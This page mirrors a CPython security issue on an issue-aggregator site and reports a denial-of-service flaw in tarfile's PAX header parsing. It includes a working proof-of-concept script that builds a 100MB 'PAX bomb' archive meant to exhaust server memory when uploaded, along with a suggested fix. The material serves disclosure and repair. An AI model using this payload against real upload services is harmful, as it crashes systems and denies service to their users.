[Security] Memory Exhaustion (OOM) and Resource Leak via crafted PAX Headers in tarfile

Abierto
  • ¿Algo no está bien?
#161,955 0 comentarios 0 reacciones 0 asignados Ver en GitHub

Los mantenedores suelen responder en 1 día

Nadie ha tomado este issue todavía.

Evaluación

Dificultad
3/5
Tiempo estimado
1-2 días
Aptitud para principiantes
30/100
Tipo de issue
Error
Claridad
Bastante claro
Estado de actividad
Activo
Stack tecnológico
python
Área
security

Línea de trabajo

The parsing loop is in TarInfo._proc_pax in Lib/tarfile.py, which builds the raw_headers list and then the pax_headers dict without any record limit. Read that loop, then reproduce the report with the attached PoC to confirm the memory growth. Done would mean a record or size cap that raises InvalidHeaderError, plus a test in Lib/test/test_tarfile.py. Because this is a security report, check with maintainers before opening a public PR.

Escrito por el modelo de indexación a partir del texto del issue.

Descripción

type-bug
Bug report

Description:
I have identified a critical Denial of Service (DoS) vulnerability in the tarfile module of Python 3.15.0. A crafted tar archive containing a malicious PAX extended header (XHDTYPE) can force the Python process to consume an extreme amount of memory instantly, leading to an Out Of Memory (OOM) crash. Furthermore, the memory is not released by the garbage collector after the extraction operation completes.

Vulnerability Details:

Location: tarfile.TarInfo._proc_pax

Root Cause: The _proc_pax function parses the PAX header data block in a while loop without enforcing any limit on the number of records. An attacker can craft a valid PAX header data block (e.g., 100MB) filled entirely with minimal-length valid records (e.g., b"5 a=\n" which is 5 bytes per record).

Impact: The parser will create over 20 million key-value pairs in the raw_headers list and subsequently in the pax_headers dictionary. This rapidly exhausts system memory. In real-world web applications (e.g., Django, Flask, CI/CD runners) that process user-uploaded tar files, this instantly kills the worker thread and can cause the entire host OS to trigger the OOM killer.

Resource Leak: After the extraction completes (returning HTTP 200), the huge memory allocation is not immediately reclaimed by Python's garbage collector due to the massive number of objects created, leaving the server in a zombie state consuming multi-gigabyte RSS memory indefinitely.

Proof of Concept (PoC):
This PoC simulates a backend service receiving a file upload and extracting it.

Attacker Script (Generates and sends the payload):

python
import tarfile
import io
import urllib.request

def create_pax_bomb():
# Minimal valid PAX record: "5 a=\n" (5 bytes)
record = b"5 a=\n"
target_size = 100 * 1024 * 1024 # 100 MB
num_records = target_size // len(record)
payload_data = record * num_records

tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode="w") as tar:
    info = tarfile.TarInfo("././@PaxHeader")
    info.type = tarfile.XHDTYPE
    info.size = len(payload_data)
    tar.addfile(info, io.BytesIO(payload_data))
    
    normal_info = tarfile.TarInfo("test.txt")
    normal_info.size = 0
    tar.addfile(normal_info)
return tar_buffer.getvalue()

Send via HTTP POST...

Server/Extraction Script:

python
import tarfile

When the server calls this:

try:
with tarfile.open(filepath, "r:") as tar:
tar.extractall(path=EXTRACT_DIR)
print("Extraction complete.")
except Exception as e:
print(e)
Execution Result:

The server script prints Extraction complete (or HTTP 200 success).

However, observing the process memory (Task Manager / psutil) shows memory usage instantly spiking to multiple GBs.

After the extraction finishes, the memory is not released, leaving the process hanging and unresponsive.

Suggested Fix:
Add a hard limit to the number of records or the maximum size of the PAX header that tarfile is willing to process.
For example, in _proc_pax, enforce a maximum record count (e.g., MAX_PAX_RECORDS = 10000) or a maximum total size for the raw_headers list, and raise InvalidHeaderError if exceeded.

sever.py

PoC.py

CPython versions tested on:

3.15

Operating systems tested on:

Windows

Lenguaje dominante
Python
Estrellas
78.2k
Forks
36.6k
Merge medio
19 h 57 min
PR fusionados (30 d)
630

Preparar el entorno

Abrir en Codespaces

Inicia el contenedor de desarrollo del proyecto en tu navegador, con tu propia cuenta de GitHub.

Primeros pasos

  1. Lee el issue completo y luego la guía de contribución del proyecto.
  2. Comenta en el issue que vas a ocuparte — evita que dos personas hagan lo mismo.
  3. Haz un fork del repositorio y trabaja en una rama.
  4. Abre un pull request que haga referencia al número del issue.

Más de python/cpython

Todos los issues de python/cpython

Issues similares

Más issues de Python

Recibe los nuevos issues en tu correo

Un resumen breve de issues de GitHub para principiantes.